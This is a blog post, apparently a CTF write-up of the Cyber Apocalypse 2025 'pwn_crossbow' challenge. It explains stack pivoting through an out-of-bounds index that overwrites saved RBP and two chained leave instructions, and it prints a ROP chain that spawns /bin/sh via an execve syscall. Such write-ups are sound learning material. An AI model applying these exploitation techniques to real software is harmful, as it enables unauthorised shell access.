Bits and Bytes Security

Cyber Apocalypse 2025 - pwn_crossbow

This post is part of a series where I describe some Cyber Apocalypse 2025 CTF challenges I participated in.

The list of posts is as follows:

Enjoy!

pwn_crossbow

In this challenge, the user can control where a pointer to an allocated block will be written on the stack. If code execution is enabled for the memory block, it would be straightforward—just change the return address to this block. However, by default, allocated memory does not have the +x flag, so we need another solution. I will use the term “payload” to refer to the allocated memory contents, which we can control (read from stdin).

Looking at the target code, we have:

lea     rax, [rbp+var_20]
mov     rdi, rax
call    target_dummy
    ...
    mov     eax, [rbp+_user_num]
    cdqe
    lea     rdx, ds:0[rax*8]    <-- rdx = user_num*8
    mov     rax, [rbp+var_28]   <-- rax = var_20 address
    lea     rbx, [rdx+rax]      <-- rbx = var_20 address + user_num*8
    mov     esi, 80h
    mov     edi, 1
    call    calloc
    mov     [rbx], rax          <-- [var_20 address + user_num*8] = mem_ptr

The solution involves changing the stack pointer to a user-controlled ROP chain. Changing the stack pointer is a well-known method called stack pivoting. If we provide “-2” as the user index (i.e., the user_num), it will store the calloc buffer pointer in the RBP saved on the stack from the target_dummy prologue.

But how can we make the stack pointer change in this challenge? By using function epilogues! In summary, this is what happens when we start from target_dummy and return down to main:

target_dummy:   <-- attack starts here
  ...
  mov rsp, rbp  <-- leave
  pop rbp       <--
  ret
training:
  ...
  mov rsp, rbp  <-- leave
  pop rbp       <--
  ret

There are two leave instructions in sequence, so if we can overwrite the RBP in the target_dummy stack, it will be popped at the end of target_dummy. Then, in training, the RBP is moved to RSP, and then RBP is popped from the new RSP pointer, followed by a ret instruction.

So far, the attack path is to provide -2 as the index and send a ROP chain payload padded by 8 bytes.

One example of a ROP chain is to write “/bin/sh” to a writable data region (i.e., bss), set up the registers, and make a syscall to execve. Here is the one I used:

rop_chain = [
    pop_rdi, bss_address,             # Set rdi to bss_address
    pop_rax, u64(b'/bin/sh\x00'),     # Set rax to '/bin/sh\x00'
    mov_qword_ptr_rdi_rax,            # Write rax to [rdi]
    pop_rsi, 0,                       # Set rsi to NULL
    pop_rdx, 0,                       # Set rdx to NULL
    pop_rax, 59,                      # Set rax to execve syscall number (59)
    syscall                           # Invoke execve
]

To get a writable address, we can use the binary’s bss section address. If the binary had PIE enabled, we would need to leak an address of the binary to get its base address. Without PIE enabled, we can easily get the address of the bss section and use it to store the “/bin/sh” string. With pwntools, this is a one-liner:

bss_address = binary.get_section_by_name('.data').header.sh_addr

The full solution can be downloaded from pwn_crossbow.py.

As a final remark, since the binary was statically linked, there is no libc to jump to, but there are a few gadgets in the binary itself that can be used. This approach was different from the original challenge write-up. The author used a ROP chain to call mprotect on bss to make it +x, then called fgets to read pure shellcode from stdin into bss and redirected execution to bss.

In this challenge, I think I could mention two lessons learned:

  • The leave instruction and what it does behind the scenes (mov rsp, rbp; pop rbp). Essentially, it restores the RSP value that was saved in RBP and then restores the RBP value from the stack. If this happens twice, it’s possible to change RSP and perform stack pivoting.

  • The gadget finder from pwntools does not detect more complex types of gadgets, so it is better to use an external tool like ROPgadget for the search.

The next post in the series is about pwn_laconic.